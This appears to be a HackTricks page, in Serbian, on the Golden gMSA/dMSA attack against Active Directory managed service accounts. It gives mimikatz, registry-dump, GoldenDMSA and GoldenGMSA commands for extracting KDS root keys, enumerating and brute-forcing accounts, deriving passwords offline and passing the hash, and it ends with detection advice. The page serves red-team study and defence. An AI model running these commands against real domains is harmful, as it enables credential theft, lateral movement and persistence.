Golden gMSA/dMSA Attack (Offline Derivation of Managed Service Account Passwords)
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Windows Managed Service Accounts (MSA) su posebni principi dizajnirani da pokreću usluge bez potrebe za ručnim upravljanjem njihovim lozinkama. Postoje dva glavna tipa:
- gMSA – grupni Managed Service Account – može se koristiti na više hostova koji su autorizovani u njegovom
msDS-GroupMSAMembership
atributu. - dMSA – delegirani Managed Service Account – (preview) naslednik gMSA, oslanja se na istu kriptografiju, ali omogućava granularnije scenarije delegacije.
Za oba varijante lozinka nije pohranjena na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može izvesti trenutnu lozinku u realnom vremenu iz:
- KDS Root Key-a na nivou šume (
KRBTGT\KDS
) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC podCN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …
kontejnerom. - Ciljanog naloga SID.
- Per-nalog ManagedPasswordID (GUID) koji se nalazi u
msDS-ManagedPasswordId
atributu.
Izvođenje je: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )
→ 240 byte blob konačno base64-encoded i pohranjen u msDS-ManagedPassword
atributu.
Nema potrebe za Kerberos saobraćajem ili interakcijom sa domenom tokom normalne upotrebe lozinke – član hosta izvodi lozinku lokalno sve dok zna tri ulaza.
Golden gMSA / Golden dMSA Attack
Ako napadač može da dobije svih tri ulaza offline, može izračunati važeće trenutne i buduće lozinke za bilo koji gMSA/dMSA u šumi bez ponovnog dodirivanja DC-a, zaobilazeći:
- LDAP čitanje revizije
- Intervale promene lozinke (mogu ih prethodno izračunati)
Ovo je analogno Golden Ticket-u za servisne naloge.
Preduslovi
- Kompromitovanje na nivou šume jednog DC-a (ili Enterprise Admin), ili
SYSTEM
pristup jednom od DC-a u šumi. - Sposobnost da se enumerišu servisni nalozi (LDAP čitanje / RID brute-force).
- .NET ≥ 4.7.2 x64 radna stanica za pokretanje
GoldenDMSA
ili ekvivalentnog koda.
Golden gMSA / dMSA
Faza 1 – Ekstrakcija KDS Root Key-a
Dump sa bilo kog DC-a (Volume Shadow Copy / sirove SAM+SECURITY hives ili daljinski tajne):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
Base64 string označen RootKey
(GUID ime) je potreban u kasnijim koracima.
Faza 2 – Enumerisanje gMSA / dMSA objekata
Preuzmite barem sAMAccountName
, objectSid
i msDS-ManagedPasswordId
:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA
implementira pomoćne režime:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Фаза 3 – Погађање / Откривање ManagedPasswordID (када недостаје)
Неки распоређивања уклањају msDS-ManagedPasswordId
из читања заштићених ACL-ом.
Пошто је GUID 128-битни, наивно брутално тестирање је непрактично, али:
- Првих 32 бита = Unix epoch време креирања налога (резолуција у минутима).
- Пратимо 96 насумичних бита.
Стога је уска листа речи по налогу (± неколико сати) реална.
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
Alat izračunava kandidatske lozinke i upoređuje njihov base64 blob sa pravim msDS-ManagedPassword
atributom – podudaranje otkriva tačan GUID.
Faza 4 – Offline Izračunavanje Lozenke i Konverzija
Kada je ManagedPasswordID poznat, važeća lozinka je na samo jedan komandu udaljena:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
Rezultantni hash-evi mogu biti injektovani pomoću mimikatz (sekurlsa::pth
) ili Rubeus za zloupotrebu Kerberosa, omogućavajući neprimetno lateralno kretanje i perzistenciju.
Detekcija i ublažavanje
- Ograničiti DC backup i čitanje registra na Tier-0 administratore.
- Pratiti Directory Services Restore Mode (DSRM) ili Volume Shadow Copy kreiranje na DC-ima.
- Revizija čitanja / promena
CN=Master Root Keys,…
iuserAccountControl
oznaka servisnih naloga. - Otkrivanje neobičnih base64 pisanja lozinki ili iznenadne ponovne upotrebe lozinki servisa na različitim hostovima.
- Razmotriti konvertovanje visokoprivilegovanih gMSA u klasične servisne naloge sa redovnim nasumičnim rotacijama gde Tier-0 izolacija nije moguća.
Alati
Semperis/GoldenDMSA
– referentna implementacija korišćena na ovoj stranici.Semperis/GoldenGMSA
– referentna implementacija korišćena na ovoj stranici.mimikatz
–lsadump::secrets
,sekurlsa::pth
,kerberos::ptt
.Rubeus
– pass-the-ticket koristeći izvedene AES ključeve.
Reference
- Golden dMSA – zaobilaženje autentifikacije za delegirane upravljane servisne naloge
- gMSA Active Directory napadi na naloge
- Semperis/GoldenDMSA GitHub repozitorij
- Improsec – Golden gMSA napad na poverenje
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.